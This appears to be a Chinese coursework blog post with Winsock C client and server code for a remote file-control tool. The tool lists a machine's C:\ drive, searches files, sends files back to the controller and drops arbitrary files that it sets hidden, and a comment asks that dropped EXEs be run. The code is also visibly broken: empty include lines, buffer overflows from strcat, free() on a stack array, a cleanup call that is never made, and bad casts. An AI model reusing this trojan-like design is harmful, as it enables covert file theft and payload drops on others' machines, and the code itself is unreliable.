Socket远程执行(2.0)

Client

#include
#include 
#include
#include
#include 
#define _CRT_SECURE_NO_WARNINGS 1
#define SERVER_PORT 8080
#pragma comment (lib,"ws2_32.lib")
#pragma warning (disable:4996)

void l_s(SOCKET sock)
{ // 列出目标机器的文件目录结构
    char cmd[2] = "L";
    send(sock, cmd, strlen(cmd), 0);
    char resp[1024];
    SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
    if (iResult == SOCKET_ERROR) {
        printf("recv() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return;
    }

    if (resp[0] != 'O') {
        printf("列出文件目录失败:%s\n", resp);
        return;
    }

    char* p = resp + 1;
    while (*p != '\0') {
        printf("%s\n", p);
        p += strlen(p) + 1;
    }
}

void i_nfo(SOCKET sock, char* path)
{   // 获取目标文件夹文件详细信息
    char cmd[3] = "I";
    strcat(cmd, path);
    send(sock, cmd, strlen(cmd), 0);
    char resp[1024];
    SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
    if (iResult == SOCKET_ERROR) {
        printf("recv() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return;
    }

    if (resp[0] != 'O') {
        printf("获取文件详细信息失败:%s\n", resp);
        return;
    }
    char* p = resp + 1;
    while (*p != '\0') {
        printf("%s\n", p);
        p += strlen(p) + 1;
    }
}


void f_ind(SOCKET sock, char* path)
{   // 实现指定路径下按文件名文件搜索功能和按照6中文件格式去搜索文件的功能
    char cmd[4] = "F";
    strcat(cmd, path);
    send(sock, cmd, strlen(cmd), 0);
    char resp[1024];
    SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
    if (iResult == SOCKET_ERROR) {
        printf("recv() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return;
    }

    if (resp[0] != 'O') {
        printf("文件搜索失败:%s\n", resp);
        return;
    }
    char* p = resp + 1;
    while (*p != '\0') {
        printf("%s\n", p);
        p += strlen(p) + 1;
    }
}

void g_et(SOCKET sock, char* path) {
    // 实现指定文件回传服务器功能
    char cmd[4] = "G";
    strcat(cmd, path);
    send(sock, cmd, strlen(cmd), 0);
    char resp[1024];
    SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
    if (iResult == SOCKET_ERROR) {
        printf("recv() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return;
    }
    if (resp[0] != 'O') {
        printf("文件回传失败:%s\n", resp);
        return;
    }
    char buf[1024];
    int len;
    while ((len = recv(sock, buf, sizeof(buf), 0)) > 0) {
        FILE* fp = fopen(path, "wb");
        fwrite(buf, len, 1, fp);
        fclose(fp);
    }
    free(buf);
}

void p_ut(SOCKET sock, char* path) {
    // 实现服务器下发任意文件到客户端的功能,下发文件要设置隐藏属性,若下发的是EXE要求下发都客户端后能运行所下发的EXE
    send(sock, path, strlen(path), 0);
    FILE* fp = fopen(path, "rb");
    if (fp == NULL) {
        printf("打开文件失败:%s\n", path);
        return;
    }
    char buf[1024];
    int len;
    while ((len = fread(buf, 1, 1024, fp)) > 0) {
        send(sock, buf, len, 0);
    }
    fclose(fp);
}
void f_ormat(SOCKET sock, char* path)
{ // 实现一个文件格式识别功能,要求通过读取文件内容去判断文件格式,格式包括:EXE,DLL,ELF,ZIP,JPG,PNG,bmp,RAR。
    char cmd[5] = "M";
    strcat(cmd, path);
    send(sock, cmd, strlen(cmd), 0);
    char resp[1024];
    SOCKET iResult = recv(sock, resp, sizeof(resp), 0);
    if (iResult == SOCKET_ERROR) {
        printf("recv() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return;
    }

    if (resp[0] != 'O') {
        printf("文件格式识别失败:%s\n", resp);
        return;
    }
    printf("文件格式:%s\n", resp + 1);
}

int main()
{
    WSADATA wsaData;
    SOCKET iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup() 失败:%d\n", (int)iResult);
        return 1;
    }
    SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        printf("socket() 失败:%d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }
    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    serverAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

    iResult = connect(sock, (sockaddr*)&serverAddr, sizeof(serverAddr));
    if (iResult != 0) {
        printf("connect() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return 1;
    }
    char cmd[1024];
    while (1) {
        printf("请输入指令:");
        scanf("%s", cmd);

        SOCKET iResult = send(sock, cmd, strlen(cmd), 0);
        if (iResult == SOCKET_ERROR) {
            printf("send() 失败:%d\n", WSAGetLastError());
            closesocket(sock);
            WSACleanup();
            return 1;
        }
        char resp[1024];
        SOCKET i_Result = recv(sock, resp, sizeof(resp), 0);
        if (i_Result == SOCKET_ERROR) {
            printf("recv() 失败:%d\n", WSAGetLastError());
            closesocket(sock);
            WSACleanup();
            return 1;
        }
        printf("响应:%s\n", resp);
        switch (resp[0]) {
        case 'L':
            l_s(sock);
            break;
        case 'I':
            i_nfo(sock, resp + 1);
            break;
        case 'F':
            f_ind(sock, resp + 1);
            break;
        case 'G':
            g_et(sock, resp + 1);
            break;
        case 'P':
            p_ut(sock, resp + 1);
            break;
        case 'M':
            f_ormat(sock, resp + 1);
            break;
        default:
            printf("未知指令:%s\n", cmd);
            break;
        }

    }
    closesocket(sock);

    int WSACleanup();

    return 0;


}


server-side

#include
#include 
#include
#include
#include
#include 
#include
#define SERVER_PORT 8080
#pragma comment (lib,"ws2_32.lib")
#pragma warning (disable:4996)
void Sl_s(SOCKET sock) {
    // 发送响应
    char resp[2] = "O";
    send(sock, resp, strlen(resp), 0);

    // 列出文件目录
    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW(L"C:\\*", &findData);
    if (hFind == INVALID_HANDLE_VALUE) {
        resp[0] = 'E';
        send(sock, resp, strlen(resp), 0);
        return;
    }

    // 发送文件列表
    do {
        // 构造文件名
        wchar_t fileName[MAX_PATH];
        wcscpy_s(fileName, findData.cFileName);

        // 发送文件名
        int len = wcslen(fileName) * sizeof(wchar_t);
        send(sock, (const char*)fileName, len, 0);
    } while (FindNextFileW(hFind, &findData));

    // 关闭句柄
    FindClose(hFind);
}

// 处理客户端的 info 指令
void Si_nfo(SOCKET sock, char* path) {
    // 发送响应
    char resp[2] = "O";
    send(sock, resp, strlen(resp), 0);

    // 获取文件详细信息
    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW((LPCWSTR)path, &findData);
    if (hFind == INVALID_HANDLE_VALUE) {
        resp[0] = 'E';
        send(sock, resp, strlen(resp), 0);
        return;
    }

    // 发送文件详细信息
    do {
        // 构造文件名
        wchar_t fileName[MAX_PATH];
        wcscpy_s(fileName, findData.cFileName);

        // 构造文件属性
        char attr[10];
        sprintf(attr, "%d", findData.dwFileAttributes);

        // 构造文件大小
        char size[10];
        sprintf(size, "%d", findData.nFileSizeLow);

        // 构造隐藏属性
        char hidden[10];
        if (findData.dwFileAttributes & FILE_ATTRIBUTE_HIDDEN) {
            strcpy(hidden, "是");
        }
        else {
            strcpy(hidden, "否");
        }

        // 拼接信息
        char info[1024];
        sprintf(info, "%s\t%s\t%s\t%s\n", fileName, attr, size, hidden);

        // 发送信息
        send(sock, info, strlen(info), 0);
    } while (FindNextFileW(hFind, &findData));

    // 关闭句柄
    FindClose(hFind);
}
// 处理客户端的 find 指令
void Sf_ind(SOCKET sock, char* path) {
    // 发送响应
    char resp[2] = "O";
    send(sock, resp, strlen(resp), 0);

    // 搜索文件
    WIN32_FIND_DATAW findData;
    HANDLE hFind = FindFirstFileW((LPCWSTR)path, &findData);
    if (hFind == INVALID_HANDLE_VALUE) {
        resp[0] = 'E';
        send(sock, resp, strlen(resp), 0);
        return;
    }

    // 发送文件列表
    do {
        // 构造文件名
        wchar_t fileName[MAX_PATH];
        wcscpy_s(fileName, findData.cFileName);

        // 发送文件名
        int len = wcslen(fileName) * sizeof(wchar_t);
        send(sock, (const char*)fileName, len, 0);
    } while (FindNextFileW(hFind, &findData));

    // 关闭句柄
    FindClose(hFind);
}
// 处理客户端的 get 指令
void Sg_et(SOCKET sock, char* path) {
    // 发送响应
    char resp[2] = "O";
    send(sock, resp, strlen(resp), 0);

    // 打开文件
    FILE* fp = fopen(path, "rb");
    if (fp == NULL) {
        resp[0] = 'E';
        send(sock, resp, strlen(resp), 0);
        return;
    }

    // 发送文件数据
    char buf[1024];
    int len;
    while ((len = fread(buf, 1, 1024, fp)) > 0) {
        send(sock, buf, len, 0);
    }

    // 关闭文件
    fclose(fp);
}
void Sp_ut(SOCKET sock, char* path) {
    // 接收文件名
    char fileName[1024];
    int iResult = recv(sock, fileName, sizeof(fileName), 0);
    if (iResult == SOCKET_ERROR) {
        printf("recv() 失败:%d\n", WSAGetLastError());
        return;
    }

    // 打开文件
    FILE* fp = fopen(fileName, "wb");
    if (fp == NULL) {
        printf("打开文件失败:%s\n", fileName);
        return;
    }

    // 接收文件数据
    char buf[1024];
    int len;
    while ((len = recv(sock, buf, sizeof(buf), 0)) > 0) {
        fwrite(buf, 1, len, fp);
    }

    // 关闭文件
    fclose(fp);

    // 设置隐藏属性
    SetFileAttributes((LPCWSTR)fileName, FILE_ATTRIBUTE_HIDDEN);
}


// 处理客户端的 format 指令
void Sf_ormat(SOCKET sock, char* path) {
    // 发送响应
    char resp[2] = "O";
    send(sock, resp, strlen(resp), 0);

    // 读取文件前 1024 字节
    char buf[1024];
    int len = recv(sock, buf, sizeof(buf), 0);

    // 判断文件格式
    char format[10];
    if (len >= 2 && memcmp(buf, "MZ", 2) == 0) {
        strcpy(format, "EXE");
    }
    else if (len >= 2 && memcmp(buf, "DLL", 3) == 0) {
        strcpy(format, "DLL");
    }
    else if (len >= 2 && memcmp(buf, "ELF", 3) == 0) {
        strcpy(format, "ELF");
    }
    else if (len >= 8 && memcmp(buf, "PK\x03\x04", 4) == 0) {
        strcpy(format, "ZIP");
    }
    else if (len >= 2 && memcmp(buf, "\xFF\xD8", 2) == 0) {
        strcpy(format, "JPG");
    }
    else if (len >= 2 && memcmp(buf, "\x89\x50\x4E\x47\x0D\x0A\x1A\x0A", 8) == 0) {
        strcpy(format, "PNG");
    }
    else if (len >= 2 && memcmp(buf, "BM", 2) == 0) {
        strcpy(format, "bmp");
    }
    else if (len >= 4 && memcmp(buf, "Rar!\x1A\x07", 4) == 0) {
        strcpy(format, "RAR");
    }
    else {
        strcpy(format, "未知");
    }

    // 发送格式
    send(sock, format, strlen(format), 0);
}

int main() {
    // 初始化 Winsock
    WSADATA wsaData;
    int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup() 失败:%d\n", iResult);
        return 1;
    }

    // 创建服务器套接字
    SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if (sock == INVALID_SOCKET) {
        printf("socket() 失败:%d\n", WSAGetLastError());
        WSACleanup();
        return 1;
    }

    // 绑定套接字到指定端口
    sockaddr_in serverAddr;
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    serverAddr.sin_addr.s_addr = INADDR_ANY;
    iResult = bind(sock, (sockaddr*)&serverAddr, sizeof(serverAddr));
    if (iResult != 0) {
        printf("bind() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    // 监听套接字
    iResult = listen(sock, SOMAXCONN);
    if (iResult != 0) {
        printf("listen() 失败:%d\n", WSAGetLastError());
        closesocket(sock);
        WSACleanup();
        return 1;
    }

    while (1) {
        // 接受连接
        SOCKET clientSock = accept(sock, NULL, NULL);
        if (clientSock == INVALID_SOCKET) {
            printf("accept() 失败:%d\n", WSAGetLastError());
            closesocket(sock);
            WSACleanup();
            return 1;
        }

        // 处理客户端请求
        char cmd[1024];
        iResult = recv(clientSock, cmd, sizeof(cmd), 0);
        if (iResult == SOCKET_ERROR) {
            printf("recv() 失败:%d\n", WSAGetLastError());
            closesocket(clientSock);
            closesocket(sock);
            WSACleanup();
            return 1;
        }

        // 发送响应
        switch (cmd[0]) {
        case 'L':
            // 列出目标机器的文件目录结构
            Sl_s(clientSock);
            break;
        case 'I':
            // 获取目标文件夹文件详细信息
            Si_nfo(clientSock, cmd + 1);
            break;
        case 'F':
            // 实现指定路径下按文件名文件搜索功能和按照6中文件格式去搜索文件的功能
            Sf_ind(clientSock, cmd + 1);
            break;
        case 'G':
            // 实现指定文件回传服务器功能
            Sg_et(clientSock, cmd + 1);
            break;
        case 'P':
            // 实现服务器下发任意文件到客户端的功能,下发文件要设置隐藏属性,若下发的是EXE要求下发都客户端后能运行所下发的EXE。
            Sp_ut(clientSock, cmd + 1);
            break;
        case 'M':
            // 实现一个文件格式识别功能,要求通过读取文件内容去判断文件格式,格式包括:EXE,DLL,ELF,ZIP,JPG,PNG,bmp,RAR。
            Sf_ormat(clientSock, cmd + 1);
            break;
        default:
            // 未知指令
            printf("未知指令:%s\n", cmd);
            break;
        }
    }
    closesocket(sock);

    int WSACleanup();
    
    return 0;
}

你可能感兴趣的:(上课内容,学习)